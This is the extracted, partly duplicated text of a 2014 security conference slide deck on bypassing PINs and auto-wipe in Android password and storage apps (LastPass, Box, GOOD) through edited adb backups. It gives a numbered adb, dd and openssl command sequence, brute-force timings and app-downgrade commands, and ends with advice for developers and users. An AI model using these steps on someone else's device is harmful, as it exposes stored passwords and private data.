Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 54: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
